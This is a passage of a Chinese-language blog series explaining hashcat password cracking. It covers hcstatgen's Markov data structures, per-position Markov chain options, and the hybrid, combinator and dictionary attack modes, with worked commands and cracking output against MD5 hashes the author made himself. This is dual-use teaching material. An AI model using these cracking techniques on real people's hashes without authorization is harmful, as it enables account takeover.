0000 0000 0000 0000 0001 0000 0000 0000 01d6380 0000 0000 0000 0000 0000 0000 0000 0000 * 2020000 hello.stat 的資料結構 hcstatgen.c 程式裡有 2 個關鍵的變數，一是 root_stats_buf，另一個是 markov_stats_buf ，分別對應到作業系統某個記憶體空間(呼叫 calloc() 取得)。程式讀取文字檔後，會填入馬卡夫鏈統計機率模型資料至 root_stats_buf 與 markov_stats_buf 變數中，並將root_stats_buf 與 markov_stats_buf 的記憶體內容依序寫入 (fwrite) 至 hello.stat 檔案中。hello.stat 檔案即產生完成。\nroot_stats_buf root_stats_buf 是 uint64_t 指標，指向 1 塊 size 為 131,072 bytes (約 128 Kb) 的記憶體空間，131,072 bytes = 64 (最長密碼長度) x 256(CHARSIZ) x 8 bytes (uint64_t size)。負責儲存馬可夫鏈統計機率模型中，代表每個位置 (per-position) 的每個字母出現次數 。\nroot_stats_buf_by_pos root_stats_buf_by_pos 是 root_stats_buf 相關的指標變數 ，是 2 維稀疏矩陣root_stats_buf_by_pos[0] ~ root_stats_by_pos[64] 循序對應到 root_stats_buf 的記憶體位址，每 1 個 root_stats_buf_by_pos[] 的 size 是 256 (CHARSIZE)。\n比方說，hello.txt 裡面有 單字1: hello， 單字2: world\n$ cat hello.txt hello world 要填寫馬可夫鏈統計機率模型資料中，每個位置 (per-position) 的每個字母出現次數 ，在 root_stats_buf_by_pos 儲存寫法，如下：\nroot_stats_buf_by_pos[0][\u0026#39;h\u0026#39;] += 1 root_stats_buf_by_pos[1][\u0026#39;e\u0026#39;] += 1 root_stats_buf_by_pos[2][\u0026#39;l\u0026#39;] += 1 root_stats_buf_by_pos[3][\u0026#39;l\u0026#39;] += 1 root_stats_buf_by_pos[4][\u0026#39;o\u0026#39;] += 1 root_stats_buf_by_pos[0][\u0026#39;w\u0026#39;] += 1 root_stats_buf_by_pos[1][\u0026#39;o\u0026#39;] += 1 root_stats_buf_by_pos[2][\u0026#39;r\u0026#39;] += 1 root_stats_buf_by_pos[3][\u0026#39;l\u0026#39;] += 1 root_stats_buf_by_pos[4][\u0026#39;d\u0026#39;] += 1 root_stats_buf_by_pos 足標[0]、[1] … [4] 代表是字母的位置，像 h 是第 1 個位置的字母，統計方式就是 root_stats_buf_by_pos[0]['h'] += 1 。e 是第 2 個位置的字母，統計方式就是 root_stats_buf_by_pos[1]['e'] += 1 。\n其餘沒有在單字裡面的字母，數值填 0。儲存寫法如下：\nroot_stats_buf_by_pos[0][\u0026#39;a\u0026#39;] = 0 root_stats_buf_by_pos[0][\u0026#39;b\u0026#39;] = 0 root_stats_buf_by_pos[0][\u0026#39;c\u0026#39;] = 0 ... root_stats_buf_by_pos[4][\u0026#39;x\u0026#39;] = 0 root_stats_buf_by_pos[4][\u0026#39;y\u0026#39;] = 0 root_stats_buf_by_pos[4][\u0026#39;z\u0026#39;] = 0 在這邊是方便舉例，假設最後一個字元為 z，實際上應該是某一個特殊符號\nmarkov_stats_buf markov_stats_buf是 uint64_t 指標，指向 1 塊 size 為 33,554,432 bytes (約 32768 KB, 32 MB) 的記憶體空間，33,554,432 bytes = 64 (最長密碼長度) x 256(CHARSIZ) x 256 (CHARSIZE) x 8 bytes (uint64_t size)。負責儲存馬可夫鏈統計機率模型中，每個位置 (per-position) 的字母跟相鄰字母 出現次數。\nmarkov_stats_buf_by_key markov_stats_buf_by_key是與 markov_stats_buf 相關的指標變數 ，是 3 維稀疏矩陣。markov_stats_buf_by_key[0][0] ~ markov_stats_by_key[64][256] 循序對應到 markov_stats_buf 的記憶體位址，每 1 個 markov_stats_buf_by_key[][] 的 size 是 256 (CHARSIZE)。比方說, 單字1: hello, 單字2: world，要填寫馬可夫鏈統計機率模型資料中，每個位置 (per-position) 的字母跟相鄰字母出現次數，在 markov_stats_buf_by_key 儲存寫法，如下：\nmarkov_stats_buf_by_pos[0][\u0026#39;h\u0026#39;][\u0026#39;e\u0026#39;] += 1 markov_stats_buf_by_pos[1][\u0026#39;e\u0026#39;][\u0026#39;l\u0026#39;] += 1 markov_stats_buf_by_pos[2][\u0026#39;l\u0026#39;][\u0026#39;l\u0026#39;] += 1 markov_stats_buf_by_pos[3][\u0026#39;l\u0026#39;][\u0026#39;o\u0026#39;] += 1 markov_stats_buf_by_pos[0][\u0026#39;w\u0026#39;][\u0026#39;o\u0026#39;] += 1 markov_stats_buf_by_pos[1][\u0026#39;o\u0026#39;][\u0026#39;r\u0026#39;] += 1 markov_stats_buf_by_pos[2][\u0026#39;r\u0026#39;][\u0026#39;l\u0026#39;] += 1 markov_stats_buf_by_pos[3][\u0026#39;l\u0026#39;][\u0026#39;d\u0026#39;] += 1 其餘沒有在單字裡面的字母，數值填 0，儲存寫法如下：\nmarkov_stats_buf_by_pos[0][\u0026#39;a\u0026#39;][\u0026#39;a\u0026#39;] = 0 markov_stats_buf_by_pos[0][\u0026#39;a\u0026#39;][\u0026#39;b\u0026#39;] = 0 markov_stats_buf_by_pos[0][\u0026#39;a\u0026#39;][\u0026#39;c\u0026#39;] = 0 ... markov_stats_buf_by_pos[4][\u0026#39;z\u0026#39;][\u0026#39;x\u0026#39;] = 0 markov_stats_buf_by_pos[4][\u0026#39;z\u0026#39;][\u0026#39;y\u0026#39;] = 0 markov_stats_buf_by_pos[4][\u0026#39;z\u0026#39;][\u0026#39;z\u0026#39;] = 0 在此是方便舉例，假設最後一個字元為 z，實際上應該是某一個特殊符號。\n之後一行一行讀完 hello.txt 檔案內全部的單字後，填入馬卡夫鏈統計資料後，再依序把 root_stats_buf 與 markov_stats_buf 的資料寫入檔案中，便完成 hello.stat 檔案。\n小結 我花了幾個禮拜爬疏了 hcstatgen 的原始碼，把追 code 過程 Memo 下來並撰寫這篇文章。在這邊文章中介紹 hcstatgen 簡介 、使用方式與 stat 檔案的資料結構，希望對讀者有幫助。\n若你喜歡這篇文章，請幫我分享給你的好朋友，並且在底下留言鼓勵我。期待在下篇，再與你見面。\n深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-hcstatgen/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"hcstatgen 篇: per-position Markov chain attack - 深入 hashcat 系列文章"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n這篇我們來談 hashcat 進階功能：「 per-position Markov chain attack」。Markov chain (馬可夫鏈) 是一種隨機過程的統計機率模型。hashcat 進行 Mask attack mode (-a 3) 時，會根據字元的馬可夫鏈機率模型，進行候選密碼字元的排列組合，能更有效率地暴力破解密碼。 並且，預設執行時，就內建開啟此功能。\n接下來，請你一起跟我來探詢 hashcat 馬可夫鏈的奧秘吧。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Ian Livesey on StockSnap\n什麼是馬可夫鏈 (Markov Chain) ？ 馬可夫鏈 (Markov Chain)是一種隨機過程的統計機率模型，定義是下一動的值取決於目前值，並計算所有可能下一動值的機率。下一動的值與前面幾動的值無關。\n維基百科的定義是，\nWhat happens next depends only on the state of affairs now. 出處： https://en.wikipedia.org/wiki/Markov_chain\n舉個例子。\n比方說，你已經猜了 3 次拳，第一次出「剪刀」，第二次出「布」，第三次出「石頭」。經過統計後，接下來要出第 4 次拳，出「石頭」的機率是 0.2、出「布」的機率是 0.3 ，出「剪刀」機率是 0.5 (所有機率加總要等於 1 )，第 4 次出拳的結果跟第 1 次、第 2 次出拳無關。這就是馬可夫鏈機率模型 (Markov chain)。\nMarkov chain 隨機過程的統計機率模型，以猜拳為例\nhashcat 如何應用馬可夫鏈？ 當現成字典檔無法成功破解 Hash 時，就得選擇 Mask mode 暴力破解模式 (Attack mode = 3) 。但以往的暴力破解方式，是從 09, az, A~z, 等一路排列組合，進行列舉破解。\n而 hashcat 有更聰明的做法。事先計算常見密碼的馬可夫鏈機率模型，並儲存成 .hcstat2 格式，讓執行時匯入。現在hashcat 執行時，預設即載入已計算好的馬可夫鏈機率模型 (/usr/share/hashcat/hashcat.hcstat2)。\n比方說，一般人會選用大小寫字母、數字與特殊符號來組成密碼。「s」字母後面常常是接 「t」字母，「q」字母後面常常是接「u」字母。事先計算字母的馬可夫機率統計模型，並運用在暴力破解中。將比較有可能出現的字母列舉組合，放在候選密碼的前面，有機會讓密碼更快被破解出來。\n總而言之，在密碼破解上，應用馬可夫鏈無法減少列舉破解的密碼數量(keyspace)與時間複雜度，但是可以讓密碼更快被破解出來。\n舉例來說， 傳統暴力破解，按字母順序列舉印出結果，如下。順序是 a -\u0026gt; b -\u0026gt;c … -\u0026gt; z。\n$ hashcat -a 3 --stdout --markov-disable ?l a b c d e f g h i j k l m n o p q r s t u v w x y z 使用馬可夫鏈印出的結果，如下。順序是 s -\u0026gt; m -\u0026gt; c -\u0026gt; b …-\u0026gt; x，將使用者取密碼常使用的字母，排在前面。\n$ hashcat -a 3 --stdout ?l s m c b a p l j d t r k h g f n i e w v o y z q u x 什麼是 per-position？ 傳統的 Markov chain( hashcat 參數：--markov-classic) 做法是加總每個位置出現字元的 Markov chain 機率，無論字元是出現在哪一個位置。\n但自 2012年起， hashcat 加入了 「per-position」到實做 Markov chain 的程式碼中。做法是針對每個字母位置(最長支援密碼長度 256) ，都單獨計算 Markov chain 機率。\n例如第 1 個位置的字母是「s」，後面通常會接「t」。但是，如果「s」是出現在第 7 個位置，後面有可能接的是「e」。\n參考資料：\nhttps://hashcat.net/forum/thread-1285.html https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hashcat-per-position-markov-chains/ hashcat 的馬可夫鏈(Markov chain) 相關參數 hashcat 與馬可夫鏈(Markov chain) 有關的參數，摘錄如下：\n--markov-hcstat2 | File | Specify hcstat2 file to use | --markov-hcstat2=my.hcstat2 --markov-disable | | Disables markov-chains, emulates classic brute-force | --markov-classic | | Enables classic markov-chains, no per-position | --markov-inverse | | Enables inverse markov-chains, no per-position | -t, --markov-threshold | Num | Threshold X when to stop accepting new markov-chains | -t 50 markov-hcstat2 \u0026lt;hcstat2 file\u0026gt; 說明：匯入 hcstat2gen 產出的 Markov chain 統計檔 (.hcstat2)(需經過 lzma 壓縮)，不指定參數時，預設載入 /usr/share/hashcat/hashcat.hcstat2。\n--markov-disable 說明：關閉馬可夫鏈功能，改為傳統暴力破解列舉。\n附註：root_stats_buf, markov_stats_buf 通通填 0\n--markov-classic 說明：Markov chain 統計模型不管字母所在位置(no per-position), 把所有字母位置(第1 ~ 第256) 的機率資料加總計算。\n--markov-inverse 說明： 2021 年 7 月 7 日加入的新功能。加入了 --markov-inverse 參數新功能。能讓原本的 Markov chain 機率統計模型資料反轉。優先將較使用一般人取密碼時較少使用的字母，放在候選密碼的前面。\nref: https://github.com/hashcat/hashcat/issues/1058\nAdded option \u0026ndash;markov-inverse to inverse markov statistics, with the idea of reversing the order of the password candidates 原先未使用 --markov-inverse 參數印出的結果，如下。順序是 s -\u0026gt; m -\u0026gt; c -\u0026gt; b …-\u0026gt; x\n$ $ hashcat -a 3 --stdout ?l s m c b a p l j d t r k h g f n i e w v o y z q u x 使用 --markov-inverse 參數印出的結果，順序是 x -\u0026gt; u -\u0026gt; q -\u0026gt; z … -\u0026gt; s，可以發現字母產出的順序完全顛倒了。\n$ hashcat -a 3 --markov-inverse --stdout ?l x u q z y o v w e i n f g h k r t d j l p a b c m s --markov-threshold=NUM 說明：印出前面 \u0026lt;NUM\u0026gt; 字元就結束。不指定參數時，預設是全印。\n例如 --markov-threshold=2， 在 hello.hcstat2 機率模型中，「h」與 「w」是第 1 位置出現機率排名前 2 名的字母，排名第 3 名以後的字母就不印了。「e」與「o」是第 2 位置出現機率排名前 2 名的字母，排名第 3 名以後的字母就不印了。\n$ hashcat -a 3 --markov-hcstat2 hello.hcstat2 --markov-threshold=2 --stdout ?l?l?l hel wel hor wor hea wea hoa 小結 hashcat 預設內建的「per-position markov chain attack」功能，並提供了 5 個與馬可夫鏈 (Markov chain) 相關的參數，讓我們微調，並針對一般人取密碼的習慣，加快破解速度。\n若你喜歡這篇文章，請幫我分享給你的好朋友，並且在底下留言鼓勵我。期待在下篇，再與你見面。\n深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-per-position-markov-chain-attack/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"深入 hashcat 系列：per-position Markov chain attack (上篇)"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n我們在前篇文章有提到 Combinator Attack，能組合 2 個的字典檔進行破解。而這次談到的 Hybrid Attack (綜合攻擊模式)，則是能混合字典檔與 Mask Mode 進行破解。並套用至 hashcat 進行比對，確認密碼是否為字典檔中的單字。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Michael Sum on Unsplash\nHybrid Attack Mode (混合攻擊模式) 人取密碼的時候，有時喜歡用英文名字加上數字組合。不管是，後綴數字(-a 6 mode)，或是前綴數字 (-a 7 mode) 都是現今流行的取密碼習慣。例如，字典檔一樣截取美國國家社會安全局網頁公告 1922 年到 2021 年 100 個美國最常見的名字，依字母順序排列如下：\nJames Robert John Michael David William Richard Joseph Thomas ... Ralph Eugene Russell Bobby Mason Philip Louis ref: https://www.ssa.gov/oact/babynames/decades/century.html\n直接利用 hashcat 的 hybrid attack mode (-a 6)，來進行字典檔與後綴數字的組合。透過 --stdout 的選項，可以直接產生候選字典檔。\n$ hashcat -a 6 name.txt ?d?d?d?d --stdout \u0026gt; list.txt $ cat list.txt James1234 James0801 James2001 James3101 James9801 ... David8877 David7877 David6523 David1991 David0112 .... William8534 William7477 William6923 William1055 William0255 留意到 hashcat 產生出來的候選字典檔，並不是按照順序逐字產生的，而是有一定亂數排序而成。產生完的字典檔，再用先前文章提到的 Straight Mode (-a 0)，就可以進行破解了。 比方說，我們要破解的密碼是 George0502，MD5 雜湊值是 b607418f5aa54e5a7d6b99b18c0cd87a 。\n$ echo -n \u0026#34;George0502\u0026#34; |md5sum |sed -e \u0026#39;s/ -//g\u0026#39; \u0026gt; hash.txt $ cat hash.txt b607418f5aa54e5a7d6b99b18c0cd87a $ hashcat -a 0 -m 0 hash.txt list.txt hashcat (v6.2.5) starting ... Host memory required for this attack: 2 MB Dictionary cache built: * Filename..: list.txt * Passwords.: 1000000 * Bytes.....: 10720000 * Keyspace..: 1000000 * Runtime...: 0 secs b607418f5aa54e5a7d6b99b18c0cd87a:George0502 Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: b607418f5aa54e5a7d6b99b18c0cd87a Time.Started.....: Sun Dec 25 15:04:44 2022 (0 secs) Time.Estimated...: Sun Dec 25 15:04:44 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (list.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 12318.1 kH/s (0.20ms) @ Accel:1024 Loops:1 Thr:1 Vec:16 Recovered........: 1/1 (100.00%) Digests Progress.........: 131072/1000000 (13.11%) Rejected.........: 0/131072 (0.00%) Restore.Point....: 122880/1000000 (12.29%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#1....: Kenneth9102 -\u0026amp;gt; Jason8605 Hardware.Mon.#1..: Temp: 66c Util: 20% 若是要直接破解，也可利用 -a 6 進行密碼破解，效果就如同下面執行結果。留意到 keyspace 是 100 萬(100 * 10 * 10 * 10 * 10)，一百個名字乘上 4 個 0 ~ 9 數字的組合，總共是 100 萬組候選密碼。\n$ hashcat -a 6 -m 0 hash.txt name.txt ?d?d?d?d hashcat (v6.2.5) starting ... Dictionary cache hit: * Filename..: name.txt * Passwords.: 100 * Bytes.....: 672 * Keyspace..: 1000000 ... b607418f5aa54e5a7d6b99b18c0cd87a:George0502 Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: b607418f5aa54e5a7d6b99b18c0cd87a Time.Started.....: Sun Dec 25 15:11:10 2022 (0 secs) Time.Estimated...: Sun Dec 25 15:11:10 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (name.txt), Left Side Guess.Mod........: Mask (?d?d?d?d) [4], Right Side Guess.Queue.Base.: 1/1 (100.00%) Guess.Queue.Mod..: 1/1 (100.00%) Speed.#1.........: 46239.5 kH/s (2.01ms) @ Accel:64 Loops:1024 Thr:1 Vec:16 Recovered........: 1/1 (100.00%) Digests Progress.........: 204800/1000000 (20.48%) Rejected.........: 0/204800 (0.00%) Restore.Point....: 0/100 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:1024-2048 Iteration:0-1024 Candidate.Engine.: Device Generator Candidates.#1....: James9102 -\u0026amp;gt; Louis8605 Hardware.Mon.#1..: Temp: 72c Util: 14% 而前綴數字的破解方式 (-a 7) 也如同後綴數字 (-a 6)，假如我們要破解的密碼是 0699Ethan，MD5 雜湊值是 4ffdb75dae86ffc2f071fd53d5dd977c。產生雜湊值的方式如下：\n$ echo -n \u0026#34;0699Ethan\u0026#34; |md5sum |sed -e \u0026#39;s/ -//g\u0026#39; \u0026amp;gt; hash2.txt $ cat hash2.txt 4ffdb75dae86ffc2f071fd53d5dd977c 利用 hashcat Hybrid attack mode (-a 7) 直接進行破解，指令如下：\n$ hashcat -a 7 -m 0 hash2.txt ?d?d?d?d name.txt ... Dictionary cache hit: * Filename..: name.txt * Passwords.: 100 * Bytes.....: 672 * Keyspace..: 1000000 4ffdb75dae86ffc2f071fd53d5dd977c:0699Ethan Session..........: hashcat Status...........: Cracked Hash.Mode........: 0 (MD5) Hash.Target......: 4ffdb75dae86ffc2f071fd53d5dd977c Time.Started.....: Sun Dec 25 15:25:29 2022 (0 secs) Time.Estimated...: Sun Dec 25 15:25:29 2022 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (name.txt), Right Side Guess.Mod........: Mask (?d?d?d?d) [4], Left Side Guess.Queue.Base.: 1/1 (100.00%) Guess.Queue.Mod..: 1/1 (100.00%) Speed.#1.........: 47597.8 kH/s (8.16ms) @ Accel:512 Loops:100 Thr:1 Vec:16 Recovered........: 1/1 (100.00%) Digests Progress.........: 409600/1000000 (40.96%) Rejected.........: 0/409600 (0.00%) Restore.Point....: 0/10000 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-100 Iteration:0-100 Candidate.Engine.: Device Generator Candidates.#1....: 1234James -\u0026amp;gt; 4006Louis Hardware.Mon.#1..: Temp: 72c Util: 14% 結語 hashcat 是如此強大，可以讓我們組合字典檔與遮罩模式(Mask mode)，進行暴力密碼破解。到目前為止，我們已經學會應用 hashcat 4 種 不同的破解攻擊模式，搭配實做範例，相信你一定更能了解。\n如果這篇文章有幫助到你，請幫我再下面按幾下 Like 讚鼓勵我，或是點選 「Buy me a coffee」，請我喝一杯咖啡，並將文章分享給你的朋友。\n參考文獻：\nhttps://hashcat.net/wiki/doku.php?id=hybrid_attack 深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-hybrid-attack-mode/","summary":"\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式)"},{"content":"前言 hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n在上一篇我們提到了 Straight Mode (字典攻擊模式)，讓使用者能使用字典檔進行密碼破解。這一篇，我們來介紹 Combinator Attack Mode，能組合 2 個字典檔進行破解，並套用至 hashcat 進行比對，確認密碼是否為字典檔中的單字。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Michael Sum on Unsplah\n正文 人取密碼的時候，有時喜歡用英文名字加上生日組合。針對這種情形，用 Hashcat 破解密碼時，就可以使用 Combinartor Attack (參數 -a 1) 攻擊模式(Attack Mode) ，讓 hashcat 將 2 個字典檔合併在一起後，進行破解。或是加入 --stdout參數產出字典檔。\n舉例來說，英文名字字典檔，擷取美國國家社會安全局網頁公告 1922 年到 2021 年 100 個美國最常見的名字，依字母順序排列如下：\nAaron Adam Alan ... William Willie Zachary ref: https://www.ssa.gov/oact/babynames/decades/century.html\n365天的生日列表如下：\n0101 0102 0103 ... 1228 1229 1230 1231 若是僅想用 hashcat 產生組合字典檔，指令如下。關鍵參數是 --stdout，讓 hashcat 只產生字典檔，不進行破解。\n$ hashcat -a 1 name.txt date.txt --stdout \u0026gt; name-date.txt $ cat name-date.txt Aaron0101 Aaron0102 Aaron0103 Aaron0104 Aaron0105 ... Zachary1227 Zachary1228 Zachary1229 Zachary1230 Zachary1231 產生完的字典檔，再用先前文章提到的 Straight Mode (-a 0)，就可以進行破解了。\n假如，我們要破解的密碼是 George0502，MD5 雜湊值是 b607418f5aa54e5a7d6b99b18c0cd87a\n$ echo -n \u0026#34;George0502\u0026#34; |md5sum |sed -e \u0026#39;s/ -//g\u0026#39;\u0026amp;gt; hash.txt $ cat hash.txt b607418f5aa54e5a7d6b99b18c0cd87a 要使用 hashcat 的 Combinator Attack Mode ，不產生字典檔，直接進行破解，指令執行結果參考如下：\n$ hashcat -a 1 hash.txt name.txt date.txt hashcat (v5.1.0) starting... ... Dictionary cache hit: * Filename..: name.txt * Passwords.: 100 * Bytes.....: 672 * Keyspace..: 100 Dictionary cache hit: * Filename..: date.txt * Passwords.: 341 * Bytes.....: 1705 * Keyspace..: 341 ... Dictionary cache hit: * Filename..: name.txt * Passwords.: 100 * Bytes.....: 672 * Keyspace..: 34100 b607418f5aa54e5a7d6b99b18c0cd87a:George0502 Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: b607418f5aa54e5a7d6b99b18c0cd87a Time.Started.....: Sat Sep 3 15:21:10 2022 (0 secs) Time.Estimated...: Sat Sep 3 15:21:10 2022 (0 secs) Guess.Base.......: File (name.txt), Left Side Guess.Mod........: File (date.txt), Right Side Speed.#1.........: 17557.9 kH/s (0.10ms) @ Accel:128 Loops:42 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 12600/34100 (36.95%) Rejected.........: 0/12600 (0.00%) Restore.Point....: 0/100 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:84-126 Iteration:0-42 Candidates.#1....: Aaron0323 -\u0026amp;gt; Zachary0502 Hardware.Mon.#1..: Temp: 39c Util: 40% Core:1032MHz Mem:2505MHz Bus:16 執行結果中，出現的第三次的 Dictionary cache hit 有提到 Keyspace：34100，即代表兩個字典檔組合後有 34100 個密碼，進行爆破。\n結語 hashcat 是如此強大，可以讓我們組合兩個字典檔，進行暴力密碼破解。如果你喜歡這篇文章，.請幫我分享文章給你的朋友，並且留言鼓勵我。也歡迎你繼續瀏覽 深入 hashcat 系列其他文章。\n參考文獻：\nhttps://hashcat.net/wiki/doku.php?id=combinator_attack https://www.4armed.com/blog/hashcat-combinator-attack/ 深入 hashcat 系列文章 深入 hashcat 系列：Mask Attack Mode 深入 hashcat 系列：Straight Attack Mode (字典攻擊模式) 深入 hashcat 系列：Combinator Attack Mode 深入 hashcat 系列：Hybrid Attack Mode (綜合攻擊模式) 深入 hashcat 系列：per-position Markov chain attack (上篇) hcstatgen 篇: per-position Markov chain attack – 深入 hashcat 系列文章 使用 hcstat2gen 產出 hcstat2 馬可夫鏈模型儲存格式: per-position Markov chain attack – 深入 hashcat 系列文章 使用 sp64 工具程式產出馬可夫鏈模型的字典清單 (Word generator) 使用 hashcat 產出馬可夫鏈模型的字典清單 (Word generator) ","permalink":"https://hack543.com/deep-dive-to-hashcat-combinator-attack-mode/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://hashcat.net/hashcat/\"\u003ehashcat\u003c/a\u003e 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\u003c/p\u003e","title":"深入 hashcat 系列：Combinator Attack Mode"},{"content":"hashcat 是一套開源 (MIT License) 的離線密碼破解軟體，還能利用顯示卡 GPU 加快破解速度。其官網宣稱是「世界上最快的密碼破解工具」，廣泛支援許多常用的雜湊值演算法，以及破解攻擊模式。\n「深入 hashcat 系列」是針對想要深耕資安領域的你，所撰寫的一系列文章。每篇文章針對 hashcat 其中一個參數、參數值或功能，進行說明，並搭配實做指令範例，幫助你快速掌握 hashcat 。\n在上一篇我們提到了 Mask Mode，讓使用者在熟悉取密碼規則時，能套用遮罩，縮短密碼破解時間。這一篇，我們來介紹 Straight Attack Mode，也就是讀者較為熟悉的字典攻擊模式。利用字典檔產生 hash ，並套用至 hashcat 進行比對，確認密碼是否為字典檔中的單字。\n＊請留意文章中提到的工具軟體，請在授權環境下執行測試與使用，禁止在非授權環境下執行！\nPhoto by Michael Sum on Unsplash\nStraight Attack Mode (字典攻擊模式) Straight Attack Mode 就是字典攻擊模式 (Ditionary Attack)，搭配字典檔進行密碼破解。字典檔就是一組已知的密碼清單。在 hashcat 的參數是 -a 0。字典檔的內容範例如下：\n$ cat wordlist.txt 1234 5678 3456 欲破解的 MD5 Hash (hash.txt) 內容如下：\n$ cat hash.txt 81dc9bdb52d04dc20036dbd8313ed055 利用 Hashcat 來破解，輸入指令如下：\n$ hashcat -a 0 -m 0 hash.txt wordlist.txt 參數 -a 0 是指定 Straight mode，-m 0 則是代表要破解的雜湊演算法是 MD5，hash.txt 是放欲破解的 MD5 Hash，裡面的hash 也可一次放置多個同步破解。wordlist.txt 則是字典檔內容，由使用者自行提供。\nhashcat 破解過程與結果，如下：\n$ hashcat -a 0 -m 0 hash.txt wordlist.txt ... Dictionary cache built: * Filename..: wordlist.txt * Passwords.: 3 * Bytes.....: 15 * Keyspace..: 3 * Runtime...: 0 secs ... 81dc9bdb52d04dc20036dbd8313ed055:1234 Session..........: hashcat Status...........: Cracked Hash.Type........: MD5 Hash.Target......: 81dc9bdb52d04dc20036dbd8313ed055 Time.Started.....: Sun Aug 07 09:18:08 2022 (0 secs) Time.Estimated...: Sun Aug 07 09:18:08 2022 (0 secs) Guess.Base.......: File (wordlist.txt) Guess.Queue......: 1/1 (100.00%) 